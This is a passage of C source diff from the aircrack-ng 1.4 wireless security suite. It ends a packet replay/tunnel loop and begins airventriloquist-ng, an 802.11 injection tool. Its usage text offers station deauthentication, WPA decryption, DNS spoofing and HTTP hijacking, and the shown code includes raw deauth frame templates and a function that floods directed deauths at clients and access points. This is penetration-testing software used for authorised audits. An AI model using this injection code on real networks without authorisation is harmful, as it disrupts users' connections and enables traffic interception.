+	if (opt.tods == 1)
+	{
+		printf("ToDS bit set in all frames.\n");
+	}
+	else if (opt.tods == 2)
+	{
+		printf("ToDS and FromDS bit set in all frames (WDS/Bridge) - ");
+		if (opt.bidir)
+		{
+			printf("bidirectional mode\n");
+		}
+		else
+		{
+			printf("unidirectional mode\n");
+		}
+	}
+	else
+	{
+		printf("FromDS bit set in all frames.\n");
+	}
+
+	for (;;)
+	{
+		if (opt.s_file != NULL)
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211))
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (opt.repeat)
+			{
+				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+				{
+					switch (h80211[1] & 3)
+					{
+						case 0:
+							memcpy(bssid, h80211 + 16, 6);
+							break;
+						case 1:
+							memcpy(bssid, h80211 + 4, 6);
+							break;
+						case 2:
+							memcpy(bssid, h80211 + 10, 6);
+							break;
+						default:
+							memcpy(bssid, h80211 + 10, 6);
+							break;
+					}
+					if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+					{
+						if (is_filtered_netmask(bssid)) continue;
+					}
+					else
+					{
+						if (memcmp(opt.f_bssid, bssid, 6) != 0) continue;
+					}
+				}
+				send_packet(h80211, caplen);
+			}
+
+			packet_recv(h80211, caplen);
+			msleep(1000 / opt.r_nbpps);
+			continue;
+		}
+
+		FD_ZERO(&read_fds);
+		FD_SET(dev.fd_in, &read_fds);
+		FD_SET(ti_fd(dev.dv_ti), &read_fds);
+		ret_val = select(
+			MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL);
+		if (ret_val < 0) break;
+		if (ret_val > 0)
+		{
+			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
+			{
+				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit(buffer, len);
+				}
+			}
+			if (FD_ISSET(dev.fd_in, &read_fds))
+			{
+				len = read_packet(buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_recv(buffer, len);
+				}
+			}
+		} // if( ret_val > 0 )
+	} // for( ; ; )
+
+	ti_close(dev.dv_ti);
+
+	/* that's all, folks */
+
+	return (0);
 }

aircrack-ng-1.4.tar.gz/src/airventriloquist-ng.c Added

@@ -0,0 +1,2581 @@
+/*
+ *  802.11 injection attacks
+ *
+ *  Copyright (C) 2015 Tim de Waal
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#if defined(linux)
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+
+#include <fcntl.h>
+#include <ctype.h>
+
+#include <limits.h>
+
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <arpa/inet.h>
+
+#include <fnmatch.h>
+#include <stdbool.h>
+
+#include "version.h"
+#include "pcap.h"
+#include "aircrack-osdep/osdep.h"
+#include "crypto.h"
+#include "aircrack-util/common.h"
+#include "ieee80211.h"
+#include "aircrack-osdep/radiotap/radiotap_iter.h"
+#include "airventriloquist-ng.h"
+
+#define RTC_RESOLUTION 8192
+
+#define REQUESTS 30
+#define MAX_APS 20
+
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define REASSOC_REQ                                                            \
+	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define RATE_NUM 12
+
+#define RATE_1M 1000000
+#define RATE_2M 2000000
+#define RATE_5_5M 5500000
+#define RATE_11M 11000000
+
+#define RATE_6M 6000000
+#define RATE_9M 9000000
+#define RATE_12M 12000000
+#define RATE_18M 18000000
+#define RATE_24M 24000000
+#define RATE_36M 36000000
+#define RATE_48M 48000000
+#define RATE_54M 54000000
+
+int bitrates[RATE_NUM] = {RATE_1M,
+						  RATE_2M,
+						  RATE_5_5M,
+						  RATE_6M,
+						  RATE_9M,
+						  RATE_11M,
+						  RATE_12M,
+						  RATE_18M,
+						  RATE_24M,
+						  RATE_36M,
+						  RATE_48M,
+						  RATE_54M};
+
+char * progname = NULL;
+
+char usage[]
+	= "\n"
+	  "  %s - (C) 2015 Tim de Waal\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airventriloquist-ng [options]\n"
+	  "\n"
+	  "      -i <replay interface>   : Interface to listen and inject on\n"
+	  "      -d | --deauth           : Send active deauths to encrypted "
+	  "stations\n"
+	  "      -e | --essid <value>    : ESSID of target network \n"
+	  "      -p | --passphrase <val> : WPA Passphrase of target network\n"
+	  "      -c | --icmp             : Respond to all ICMP frames (Debug)\n"
+	  "      -n | --dns              : IP to resolve all DNS queries to\n"
+	  "      -s | --hijack <URL>     : URL to look for in HTTP requests\n"
+	  "                                <URL> can have wildcards\n"
+	  "                                   eg: *jquery*.js*\n"
+	  "      -r | --redirect <URL>   : URL to redirect to\n"
+	  "      -v | --verbose          : Verbose output\n"
+	  "      --help                  : This super helpful message\n"
+	  "\n"
+	  "\n";
+
+struct options
+{
+	u_int8_t f_bssid[6];
+	u_int8_t f_dmac[6];
+	u_int8_t f_smac[6];
+	int f_minlen;
+	int32_t f_maxlen;
+	int f_type;
+	int f_subtype;
+	int f_tods;
+	int f_fromds;
+	int f_iswep;
+
+	int r_nbpps;
+	u_int8_t r_bssid[6];
+	u_int8_t r_dmac[6];
+	u_int8_t r_smac[6];
+	u_int8_t r_dip[4];
+	u_int8_t r_sip[4];
+	char r_essid[33];
+	char r_smac_set;
+
+	char ip_out[16]; // 16 for 15 chars + \x00
+	char ip_in[16];
+	int port_out;
+	int port_in;
+
+	char * iface_out;
+	char * s_face;
+	char * s_file;
+	uint8_t * prga;
+
+	int a_mode;
+	int a_count;
+	int a_delay;
+	int f_retry;
+
+	int prgalen;
+
+	int delay;
+	int npackets;
+
+	int ignore_negative_one;
+	int rtc;
+
+	int reassoc;
+	char flag_icmp_resp;
+	char flag_http_hijack;
+	char flag_dnsspoof;
+	char deauth;
+	char flag_verbose;
+	char * p_redir_url;
+	char * p_redir_pkt_str;
+	char * p_hijack_str;
+	unsigned long p_dnsspoof_ip;
+
+	// Copied from airdecap
+	int decap_no_convert;
+	char essid[36];
+	char passphrase[65];
+	u_int8_t decap_bssid[6];
+	u_int8_t pmk[40];
+	u_int8_t decap_wepkey[64];
+	int decap_weplen, crypt;
+	int decap_store_bad;
+
+	struct WPA_ST_info * st_1st;
+	struct WPA_ST_info * st_cur;
+	struct WPA_ST_info * st_prv;
+} opt;
+
+struct devices
+{
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+
+	u_int8_t mac_in[6];
+	u_int8_t mac_out[6];
+
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
+
+	FILE * f_cap_in;
+
+	struct pcap_file_header pfh_in;
+} dev;
+
+static struct wif *_wi_in, *_wi_out;
+
+struct ARP_req
+{
+	u_int8_t * buf;
+	int hdrlen;
+	int len;
+};
+
+struct APt
+{
+	u_int8_t set;
+	u_int8_t found;
+	u_int8_t len;
+	u_int8_t essid[255];
+	u_int8_t bssid[6];
+	u_int8_t chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
+};
+
+struct APt ap[MAX_APS];
+
+unsigned long nb_pkt_sent;
+u_int8_t h80211[4096];
+u_int8_t tmpbuf[4096];
+u_int8_t srcbuf[4096];
+char strbuf[512];
+
+int ctrl_c, alarmed;
+
+char * iwpriv;
+
+static int set_bitrate(struct wif * wi, int rate)
+{
+	int i, newrate;
+
+	if (wi_set_rate(wi, rate)) return 1;
+
+	//    if( reset_ifaces() )
+	//        return 1;
+
+	// Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M
+	// instead
+	if (rate == 5500000 && wi_get_rate(wi) != 5500000)
+	{
+		if (wi_set_rate(wi, 5000000)) return 1;
+	}
+
+	newrate = wi_get_rate(wi);
+	for (i = 0; i < RATE_NUM; i++)
+	{
+		if (bitrates[i] == rate) break;
+	}
+	if (i == RATE_NUM) i = -1;
+	if (newrate != rate)
+	{
+		if (i != -1)
+		{
+			if (i > 0)
+			{
+				if (bitrates[i - 1] >= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate / 1000000.0),
+						(wi_get_rate(wi) / 1000000.0));
+					return 1;
+				}
+			}
+			if (i < RATE_NUM - 1)
+			{
+				if (bitrates[i + 1] <= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate / 1000000.0),
+						(wi_get_rate(wi) / 1000000.0));
+					return 1;
+				}
+			}
+			return 0;
+		}
+		printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+			   (rate / 1000000.0),
+			   (wi_get_rate(wi) / 1000000.0));
+		return 1;
+	}
+	return 0;
+}
+
+static int send_packet(void * buf, u_int32_t count)
+{
+	struct wif * wi = _wi_out; /* XXX globals suck */
+	u_int8_t * pkt = (u_int8_t *) buf;
+
+	// setting sequence numbers... Don' want to do this for our purposes...
+	// One main reason for this is because IF this is an encrypted frame
+	// then the sequence number is used in the encryption, so changing it here
+	// will break it. It won't be able to be decrypted...
+	/*
+	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
+	{
+		pkt[22] = (nb_pkt_sent & 0x0000000F) << 4;
+		pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4;
+	}
+	*/
+
+	if ((count > 24))
+	{
+		// Set the duration...
+		pkt[2] = 0x3A;
+		pkt[3] = 0x01;
+
+		// Reset Retry Flag
+		pkt[1] = pkt[1] & ~0x4;
+	}
+
+	if (wi_write(wi, buf, count, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				printf("Hey, ENOBUFS happened\n");
+				usleep(10000);
+				return 0; /* XXX not sure I like this... -sorbo */
+		}
+
+		perror("wi_write()");
+		return -1;
+	}
+
+	nb_pkt_sent++;
+	return 0;
+}
+
+static int read_packet(void * buf, u_int32_t count, struct rx_info * ri)
+{
+	struct wif * wi = _wi_in; /* XXX */
+	int rc;
+
+	rc = wi_read(wi, buf, count, ri);
+	if (rc == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+				return 0;
+		}
+
+		perror("wi_read()");
+		return -1;
+	}
+
+	return rc;
+}
+
+static int wait_for_beacon(uint8_t * bssid, uint8_t * capa, char * essid)
+{
+	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
+	uint8_t pkt_sniff[4096];
+	struct timeval tv, tv2;
+	char essid2[33];
+
+	gettimeofday(&tv, NULL);
+	while (1)
+	{
+		len = 0;
+		while (len < 22)
+		{
+			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec - tv.tv_sec) * 1000000)
+					+ (tv2.tv_usec - tv.tv_usec)
+				> 10000 * 1000) // wait 10sec for beacon frame
+			{
+				return -1;
+			}
+			if (len <= 0) usleep(1);
+		}
+		if (!memcmp(pkt_sniff, "\x80", 1))
+		{
+			pos = 0;
+			taglen = 22; // initial value to get the fixed tags parsing started
+			taglen += 12; // skip fixed tags in frames
+			do
+			{
+				pos += taglen + 2;
+				tagtype = pkt_sniff[pos];
+				taglen = pkt_sniff[pos + 1];
+			} while (tagtype != 3 && pos < len - 2);
+
+			if (tagtype != 3) continue;
+			if (taglen != 1) continue;
+			if (pos + 2 + taglen > len) continue;
+
+			chan = pkt_sniff[pos + 2];
+
+			if (essid)
+			{
+				pos = 0;
+				taglen
+					= 22; // initial value to get the fixed tags parsing started
+				taglen += 12; // skip fixed tags in frames
+				do
+				{
+					pos += taglen + 2;
+					tagtype = pkt_sniff[pos];
+					taglen = pkt_sniff[pos + 1];
+				} while (tagtype != 0 && pos < len - 2);
+
+				if (tagtype != 0) continue;
+				if (taglen <= 1)
+				{
+					if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0)
+						break;
+					else
+						continue;
+				}
+				if (pos + 2 + taglen > len) continue;
+
+				if (taglen > 32) taglen = 32;
+
+				if ((pkt_sniff + pos + 2)[0] < 32 && bssid != NULL
+					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
+				{
+					break;
+				}
+
+				/* if bssid is given, copy essid */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) == 0)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					break;
+				}
+
+				/* if essid is given, copy bssid AND essid, so we can handle
+				 * case insensitive arguments */
+				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
+					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
+						   == 0
+					&& strlen(essid) == (unsigned) taglen)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					memcpy(bssid, pkt_sniff + 10, 6);
+					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
+						   "given ESSID \"%s\".\n",
+						   bssid[0],
+						   bssid[1],
+						   bssid[2],
+						   bssid[3],
+						   bssid[4],
+						   bssid[5],
+						   essid);
+					break;
+				}
+
+				/* if essid and bssid are given, check both */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) > 0)
+				{
+					memset(essid2, 0, 33);
+					memcpy(essid2, pkt_sniff + pos + 2, taglen);
+					if (strncasecmp(essid, essid2, taglen) == 0
+						&& strlen(essid) == (unsigned) taglen)
+						break;
+					else
+					{
+						printf("For the given BSSID "
+							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
+							   "ESSID mismatch!\n",
+							   bssid[0],
+							   bssid[1],
+							   bssid[2],
+							   bssid[3],
+							   bssid[4],
+							   bssid[5]);
+						printf(
+							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
+							essid2,
+							essid);
+						printf("Using the given one, double check it to be "
+							   "sure its correct!\n");
+						break;
+					}
+				}
+			}
+		}
+	}
+
+	if (capa) memcpy(capa, pkt_sniff + 34, 2);
+
+	return chan;
+}
+
+/**
+	if bssid != NULL its looking for a beacon frame
+*/
+static int
+attack_check(uint8_t * bssid, char * essid, uint8_t * capa, struct wif * wi)
+{
+	int ap_chan = 0, iface_chan = 0;
+
+	iface_chan = wi_get_channel(wi);
+
+	if (iface_chan == -1 && !opt.ignore_negative_one)
+	{
+		PCT;
+		printf("Couldn't determine current channel for %s, you should either "
+			   "force the operation with --ignore-negative-one or apply a "
+			   "kernel patch\n",
+			   wi_get_ifname(wi));
+		return -1;
+	}
+
+	if (bssid != NULL)
+	{
+		ap_chan = wait_for_beacon(bssid, capa, essid);
+		if (ap_chan < 0)
+		{
+			PCT;
+			printf("No such BSSID available.\n");
+			return -1;
+		}
+		if ((ap_chan != iface_chan)
+			&& (iface_chan != -1 || !opt.ignore_negative_one))
+		{
+			PCT;
+			printf("%s is on channel %d, but the AP uses channel %d\n",
+				   wi_get_ifname(wi),
+				   iface_chan,
+				   ap_chan);
+			return -1;
+		}
+	}
+
+	return 0;
+}
+
+static int getnet(uint8_t * capa, int filter, int force)
+{
+	u_int8_t * bssid;
+
+	if (filter)
+		bssid = opt.f_bssid;
+	else
+		bssid = opt.r_bssid;
+
+	if (memcmp(bssid, NULL_MAC, 6))
+	{
+		PCT;
+		printf("Waiting for beacon frame (BSSID: "
+			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
+			   bssid[0],
+			   bssid[1],
+			   bssid[2],
+			   bssid[3],
+			   bssid[4],
+			   bssid[5],
+			   wi_get_channel(_wi_in));
+	}
+	else if (strlen(opt.r_essid) > 0)
+	{
+		PCT;
+		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
+			   opt.r_essid,
+			   wi_get_channel(_wi_in));
+	}
+	else if (force)
+	{
+		PCT;
+		if (filter)
+		{
+			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
+		}
+		else
+		{
+			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
+		}
+		return (1);
+	}
+	else
+		return 0;
+
+	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
+	{
+		if (memcmp(bssid, NULL_MAC, 6))
+		{
+			if (strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
+			{
+				printf("Please specify an ESSID (-e).\n");
+			}
+		}
+
+		if (!memcmp(bssid, NULL_MAC, 6))
+		{
+			if (strlen(opt.r_essid) > 0)
+			{
+				printf("Please specify a BSSID (-a).\n");
+			}
+		}
+		return (1);
+	}
+
+	return 0;
+}
+
+static int get_ip_port(char * iface, char * ip, const int ip_size)
+{
+	char * host;
+	char * ptr;
+	int port = -1;
+	struct in_addr addr;
+
+	host = strdup(iface);
+	if (!host) return -1;
+
+	ptr = strchr(host, ':');
+	if (!ptr) goto out;
+
+	*ptr++ = 0;
+
+	if (!inet_aton(host, (struct in_addr *) &addr))
+		goto out; /* XXX resolve hostname */
+
+	if (strlen(host) > 15)
+	{
+		port = -1;
+		goto out;
+	}
+	strncpy(ip, host, ip_size);
+	port = atoi(ptr);
+	if (port <= 0) port = -1;
+
+out:
+	free(host);
+	return port;
+}
+
+static int tcp_test(const char * ip_str, const short port)
+{
+	int sock, i;
+	struct sockaddr_in s_in;
+	int packetsize = 1024;
+	u_int8_t packet[packetsize];
+	struct timeval tv, tv2, tv3;
+	int caplen = 0;
+	int times[REQUESTS];
+	int min, avg, max, len;
+	struct net_hdr nh;
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
+
+	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return -1;
+
+	/* avoid blocking on reading the socket */
+	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+	{
+		perror("fcntl(O_NONBLOCK) failed");
+		close(sock);
+		return (1);
+	}
+
+	gettimeofday(&tv, NULL);
+
+	while (1) // waiting for relayed packet
+	{
+		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		{
+			if (errno != EINPROGRESS && errno != EALREADY)
+			{
+				perror("connect");
+				close(sock);
+
+				printf("Failed to connect\n");
+
+				return -1;
+			}
+		}
+		else
+		{
+			gettimeofday(&tv2, NULL);
+			break;
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 3000ms for a successful connect
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (3000 * 1000))
+		{
+			printf("Connection timed out\n");
+			close(sock);
+			return (-1);
+		}
+		usleep(10);
+	}
+
+	PCT;
+	printf("TCP connection successful\n");
+
+	// trying to identify airserv-ng
+	memset(&nh, 0, sizeof(nh));
+	//     command: GET_CHAN
+	nh.nh_type = 2;
+	nh.nh_len = htonl(0);
+
+	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
+	{
+		perror("send");
+		close(sock);
+		return -1;
+	}
+
+	gettimeofday(&tv, NULL);
+	i = 0;
+
+	while (1) // waiting for GET_CHAN answer
+	{
+		caplen = read(sock, &nh, sizeof(nh));
+
+		if (caplen == -1)
+		{
+			if (errno != EAGAIN)
+			{
+				perror("read");
+				close(sock);
+				return -1;
+			}
+		}
+
+		if ((unsigned) caplen == sizeof(nh))
+		{
+			len = ntohl(nh.nh_len);
+			if (nh.nh_type == 1 && i == 0)
+			{
+				i = 1;
+				caplen = read(sock, packet, len);
+				if (caplen == len)
+				{
+					i = 2;
+					break;
+				}
+				else
+				{
+					i = 0;
+				}
+			}
+			else
+			{
+				caplen = read(sock, packet, len);
+			}
+		}
+
+		gettimeofday(&tv2, NULL);
+		// wait 1000ms(1sec) for an answer
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (1000 * 1000))
+		{
+			break;
+		}
+		if (caplen == -1) usleep(10);
+	}
+
+	if (i == 2)
+	{
+		PCT;
+		printf("airserv-ng found\n");
+	}
+	else
+	{
+		PCT;
+		printf("airserv-ng NOT found\n");
+	}
+
+	close(sock);
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+			return -1;
+
+		/* avoid blocking on reading the socket */
+		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			close(sock);
+			return (1);
+		}
+
+		usleep(1000);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+			{
+				if (errno != EINPROGRESS && errno != EALREADY)
+				{
+					perror("connect");
+					close(sock);
+
+					printf("Failed to connect\n");
+
+					return -1;
+				}
+			}
+			else
+			{
+				gettimeofday(&tv2, NULL);
+				break;
+			}
+
+			gettimeofday(&tv2, NULL);
+			// wait 1000ms for a successful connect
+			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (1000 * 1000))
+			{
+				break;
+			}
+			// simple "high-precision" usleep
+			select(1, NULL, NULL, NULL, &tv3);
+		}
+		times[i] = ((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					+ (tv2.tv_usec - tv.tv_usec));
+		printf("\r%d/%d\r", i, REQUESTS);
+		fflush(stdout);
+		close(sock);
+	}
+
+	min = INT_MAX;
+	avg = 0;
+	max = 0;
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if (times[i] < min) min = times[i];
+		if (times[i] > max) max = times[i];
+		avg += times[i];
+	}
+	avg /= REQUESTS;
+
+	PCT;
+	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
+		   ip_str,
+		   port,
+		   min / 1000.0,
+		   avg / 1000.0,
+		   max / 1000.0);
+
+	return 0;
+}
+
+// TODO: this function is hacked together, It should be cleaned up
+// Need to use wfrm (ieee80211_frame struct instead of just a buffer)
+static int deauth_station(struct WPA_ST_info * st_cur)
+{
+	if (memcmp(st_cur->stmac, NULL_MAC, 6) != 0)
+	{
+		/* deauthenticate the target */
+
+		memcpy(h80211, DEAUTH_REQ, 26);
+		memcpy(h80211 + 16, st_cur->bssid, 6);
+
+		int i;
+		for (i = 0; i < 5; i++)
+		{
+			PCT;
+			printf("Sending 5 directed DeAuth. STMAC:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X] \r",
+				   st_cur->stmac[0],
+				   st_cur->stmac[1],
+				   st_cur->stmac[2],
+				   st_cur->stmac[3],
+				   st_cur->stmac[4],
+				   st_cur->stmac[5]);
+
+			memcpy(h80211 + 4, st_cur->stmac, 6);
+			memcpy(h80211 + 10, st_cur->bssid, 6);
+
+			if (send_packet(h80211, 26) < 0) return (1);
+
+			// usleep(2000);
+
+			// Send deauth to the AP...
+			memcpy(h80211 + 4, st_cur->bssid, 6);
+			memcpy(h80211 + 10, st_cur->stmac, 6);
+
+			if (send_packet(h80211, 26) < 0) return (1);
+			// Usually this is where we would wait for an ACK, but we need to
+			// get back
+			// to capturing packets to get the EAPOL 4 way handshake
+		}
+		return (0);
+	}
+
+	return (0);
+}
+
+// Shameless copy from tshark/wireshark?
+static void hexDump(char * desc, void * addr, int len)
+{
+	int i;
+	u_int8_t buff[17];
+	u_int8_t * pc = (u_int8_t *) addr;
+
+	// Output description if given.
+	if (desc != NULL) printf("%s:\n", desc);
+
+	// Process every byte in the data.
+	for (i = 0; i < len; i++)
+	{
+		// Multiple of 16 means new line (with line offset).
+		if ((i % 16) == 0)
+		{
+			// Just don't print ASCII for the zeroth line.
+			if (i != 0) printf("  %s\n", buff);
+
+			// Output the offset in Hex.
+			printf("  %04x ", i);
+		}
+
+		// Now the hex code for the specific character.
+		printf(" %02x", pc[i]);
+
+		// And store a printable ASCII character for later.
+		if ((pc[i] < 0x20) || (pc[i] > 0x7e))
+			buff[i % 16] = '.';
+		else
+			buff[i % 16] = pc[i];
+		buff[(i % 16) + 1] = '\0';
+	}
+
+	// Pad out last line if not exactly 16 characters.
+	while ((i % 16) != 0)
+	{
+		printf("   ");
+		i++;
+	}
+
+	// And print the final ASCII bit.
+	printf("  %s\n", buff);
+	return;
+}
+
+/* calcsum - used to calculate IP and ICMP header checksums using
+ * one's compliment of the one's compliment sum of 16 bit words of the header
+ */
+static u_int16_t calcsum(u_int16_t * buffer, u_int32_t length)
+{
